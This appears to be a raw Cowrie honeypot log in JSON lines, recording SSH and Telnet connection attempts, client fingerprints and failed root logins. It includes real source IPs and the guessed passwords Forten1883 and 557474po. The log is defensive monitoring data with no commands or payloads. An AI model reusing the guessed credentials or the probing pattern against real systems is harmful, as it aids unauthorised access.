{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:6e:9e:b2:fa:8b:56:27:2b:e9:ba:7e:24:b5:7f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuS/kyrEuh/7oCsPdd6yN1qUtXZlZlXeI24YL+6k67IjHQ/ti3vo9WdNU+Xy2LL1i1d3oKfPqSUUW4ygL8MCMsFIoZX+xa+EteZnV+QTU72qpiwhbXCoJ2bFmmOWWTVE5Cn8XICeLLyQ+gVBTt1GCU9FtkLXYXhR+5igPVqLqghCv9N903grGwxf3sGiAczwpOlkSV8Xr9iDbC5fdkixXOu0yRtE2xqbwEyE1/jjs56MqyBcWL4OiKr2KHvHFxeZjuWdhrkmSGB6cVka3pUQZSTErmwKxI5/U/xXgZskMGpYdM2oQzanv8c74QMGdMGGA0CdpHk8ipo6Hs+ZvDYnqz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:6e:9e:b2:fa:8b:56:27:2b:e9:ba:7e:24:b5:7f:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.967438Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:6e:9e:b2:fa:8b:56:27:2b:e9:ba:7e:24:b5:7f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuS/kyrEuh/7oCsPdd6yN1qUtXZlZlXeI24YL+6k67IjHQ/ti3vo9WdNU+Xy2LL1i1d3oKfPqSUUW4ygL8MCMsFIoZX+xa+EteZnV+QTU72qpiwhbXCoJ2bFmmOWWTVE5Cn8XICeLLyQ+gVBTt1GCU9FtkLXYXhR+5igPVqLqghCv9N903grGwxf3sGiAczwpOlkSV8Xr9iDbC5fdkixXOu0yRtE2xqbwEyE1/jjs56MqyBcWL4OiKr2KHvHFxeZjuWdhrkmSGB6cVka3pUQZSTErmwKxI5/U/xXgZskMGpYdM2oQzanv8c74QMGdMGGA0CdpHk8ipo6Hs+ZvDYnqz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.972423Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:56.181006Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43949317932129,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:57.313094Z","src_ip":"50.6.8.71","session":"fcae315611cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4c4cf3bf53","protocol":"telnet","message":"New connection: 50.6.8.71:50142 (10.17.0.5:23) [session: 8d4c4cf3bf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:02.309924Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5dc6c1f1bb2","protocol":"telnet","message":"New connection: 50.6.8.71:50140 (10.17.0.5:23) [session: b5dc6c1f1bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:02.978597Z"}
{"eventid":"cowrie.session.closed","duration":33.367905139923096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:05.824597Z","src_ip":"50.6.8.71","session":"c8f2341bf474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54630,"dst_ip":"10.17.0.5","dst_port":23,"session":"4878bd3ebc44","protocol":"telnet","message":"New connection: 50.6.8.71:54630 (10.17.0.5:23) [session: 4878bd3ebc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:06.011206Z"}
{"eventid":"cowrie.session.closed","duration":31.620724201202393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:09.905119Z","src_ip":"50.6.8.71","session":"5e163068bafd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.787681341171265,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:13.238645Z","src_ip":"50.6.8.71","session":"03a0efd2bcf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c0bba06149","protocol":"telnet","message":"New connection: 50.6.8.71:54038 (10.17.0.5:23) [session: 99c0bba06149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:16.868760Z"}
{"eventid":"cowrie.session.closed","duration":30.956868171691895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:18.062988Z","src_ip":"50.6.8.71","session":"cbca85e0a5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54064,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8522aab3692","protocol":"telnet","message":"New connection: 50.6.8.71:54064 (10.17.0.5:23) [session: d8522aab3692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:18.529164Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e15b136d182","protocol":"telnet","message":"New connection: 50.6.8.71:54054 (10.17.0.5:23) [session: 7e15b136d182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:20.130055Z"}
{"eventid":"cowrie.session.closed","duration":32.993048906326294,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:35.302715Z","src_ip":"50.6.8.71","session":"8d4c4cf3bf53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.27152633666992,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:40.249995Z","src_ip":"50.6.8.71","session":"b5dc6c1f1bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.10524868965149,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:43.116345Z","src_ip":"50.6.8.71","session":"4878bd3ebc44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23604202270508,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:52.365874Z","src_ip":"50.6.8.71","session":"7e15b136d182","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41454,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb17305afec","protocol":"telnet","message":"New connection: 50.6.8.71:41454 (10.17.0.5:23) [session: feb17305afec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:55.842902Z"}
{"eventid":"cowrie.session.closed","duration":39.12576866149902,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:55.994371Z","src_ip":"50.6.8.71","session":"99c0bba06149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.88327360153198,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:54:59.412324Z","src_ip":"50.6.8.71","session":"d8522aab3692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51276,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f14a9fffae6","protocol":"telnet","message":"New connection: 50.6.8.71:51276 (10.17.0.5:23) [session: 0f14a9fffae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:03.779211Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54048,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bfb3ba75d72","protocol":"telnet","message":"New connection: 50.6.8.71:54048 (10.17.0.5:23) [session: 2bfb3ba75d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:10.596688Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0633cd7eed6c","protocol":"telnet","message":"New connection: 50.6.8.71:56190 (10.17.0.5:23) [session: 0633cd7eed6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:20.448059Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56182,"dst_ip":"10.17.0.5","dst_port":23,"session":"7570d4ef5cae","protocol":"telnet","message":"New connection: 50.6.8.71:56182 (10.17.0.5:23) [session: 7570d4ef5cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:23.363739Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d323eb1ccf8","protocol":"telnet","message":"New connection: 23.94.28.189:49806 (10.17.0.5:23) [session: 0d323eb1ccf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:25.535225Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18552d356f4","protocol":"telnet","message":"New connection: 50.6.8.71:56204 (10.17.0.5:23) [session: a18552d356f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:25.664647Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"158a08e4af80","protocol":"telnet","message":"New connection: 50.6.8.71:55652 (10.17.0.5:23) [session: 158a08e4af80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:28.245492Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ef70d59d12","protocol":"telnet","message":"New connection: 50.6.8.71:55656 (10.17.0.5:23) [session: 93ef70d59d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:31.181338Z"}
{"eventid":"cowrie.session.closed","duration":35.50505781173706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:31.347828Z","src_ip":"50.6.8.71","session":"feb17305afec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32860,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f4399a22a9f","protocol":"telnet","message":"New connection: 50.6.8.71:32860 (10.17.0.5:23) [session: 3f4399a22a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:40.773104Z"}
{"eventid":"cowrie.session.closed","duration":36.993783712387085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:47.590339Z","src_ip":"50.6.8.71","session":"2bfb3ba75d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d93754b659a6","protocol":"ssh","message":"New connection: 147.45.197.250:60588 (159.203.135.109:22) [session: d93754b659a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:49.782570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:49.787157Z","src_ip":"147.45.197.250","session":"d93754b659a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:49.878846Z","src_ip":"147.45.197.250","session":"d93754b659a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:50.149793Z","src_ip":"147.45.197.250","session":"d93754b659a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:51.242709Z","src_ip":"147.45.197.250","session":"d93754b659a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.27286100387573,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:54.051946Z","src_ip":"50.6.8.71","session":"0f14a9fffae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091748476028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:55:56.756274Z","src_ip":"50.6.8.71","session":"a18552d356f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57064,"dst_ip":"10.17.0.5","dst_port":23,"session":"1051c8ef5b63","protocol":"telnet","message":"New connection: 50.6.8.71:57064 (10.17.0.5:23) [session: 1051c8ef5b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:01.890581Z"}
{"eventid":"cowrie.session.closed","duration":39.464375734329224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:02.828000Z","src_ip":"50.6.8.71","session":"7570d4ef5cae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.319857358932495,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:05.767782Z","src_ip":"50.6.8.71","session":"0633cd7eed6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.6575186252594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:07.192615Z","src_ip":"23.94.28.189","session":"0d323eb1ccf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee45067e31b8","protocol":"telnet","message":"New connection: 50.6.8.71:40854 (10.17.0.5:23) [session: ee45067e31b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:07.516602Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40870,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf25f0618d89","protocol":"telnet","message":"New connection: 50.6.8.71:40870 (10.17.0.5:23) [session: bf25f0618d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:09.164293Z"}
{"eventid":"cowrie.session.closed","duration":41.07149386405945,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:09.316847Z","src_ip":"50.6.8.71","session":"158a08e4af80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40876,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6a13f0eefa","protocol":"telnet","message":"New connection: 50.6.8.71:40876 (10.17.0.5:23) [session: 4f6a13f0eefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:14.778194Z"}
{"eventid":"cowrie.session.closed","duration":34.09336805343628,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:14.866389Z","src_ip":"50.6.8.71","session":"3f4399a22a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.68358850479126,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:16.864590Z","src_ip":"50.6.8.71","session":"93ef70d59d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49468,"dst_ip":"10.17.0.5","dst_port":23,"session":"103760f00e90","protocol":"telnet","message":"New connection: 50.6.8.71:49468 (10.17.0.5:23) [session: 103760f00e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:20.640208Z"}
{"eventid":"cowrie.session.closed","duration":30.203616857528687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:32.094079Z","src_ip":"50.6.8.71","session":"1051c8ef5b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46404,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2862db2a6b9","protocol":"telnet","message":"New connection: 50.6.8.71:46404 (10.17.0.5:23) [session: f2862db2a6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:37.177873Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.93","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5a6cd7d03e","protocol":"telnet","message":"New connection: 176.65.148.93:47064 (10.17.0.5:23) [session: 0b5a6cd7d03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:38.494315Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":3022,"dst_ip":"10.17.0.5","dst_port":22,"session":"66453228e06f","protocol":"ssh","message":"New connection: 38.93.206.2:3022 (10.17.0.5:22) [session: 66453228e06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:41.712951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:41.718124Z","src_ip":"38.93.206.2","session":"66453228e06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:41.769115Z","src_ip":"38.93.206.2","session":"66453228e06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"557474po","message":"login attempt [root/557474po] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:41.921197Z","src_ip":"38.93.206.2","session":"66453228e06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:42.975911Z","src_ip":"38.93.206.2","session":"66453228e06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.93077826499939,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:44.094933Z","src_ip":"50.6.8.71","session":"bf25f0618d89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82150316238403,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:50.599555Z","src_ip":"50.6.8.71","session":"4f6a13f0eefa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.5779824256897,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:54.094428Z","src_ip":"50.6.8.71","session":"ee45067e31b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.616511821746826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:55.256588Z","src_ip":"50.6.8.71","session":"103760f00e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.26.252.153","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"190f6d5f1f7e","protocol":"telnet","message":"New connection: 2.26.252.153:46524 (159.203.135.109:23) [session: 190f6d5f1f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:56:57.208013Z"}
{"eventid":"cowrie.session.closed","duration":4.306737661361694,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:01.514650Z","src_ip":"2.26.252.153","session":"190f6d5f1f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54168,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7d46ca899b","protocol":"telnet","message":"New connection: 50.6.8.71:54168 (10.17.0.5:23) [session: df7d46ca899b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:06.890743Z"}
{"eventid":"cowrie.session.closed","duration":30.34341859817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:08.837594Z","src_ip":"176.65.148.93","session":"0b5a6cd7d03e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"f61080830147","protocol":"telnet","message":"New connection: 50.6.8.71:54174 (10.17.0.5:23) [session: f61080830147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:10.499521Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46898,"dst_ip":"10.17.0.5","dst_port":22,"session":"d99a62d2c1e6","protocol":"ssh","message":"New connection: 103.172.78.219:46898 (10.17.0.5:22) [session: d99a62d2c1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:13.048812Z"}
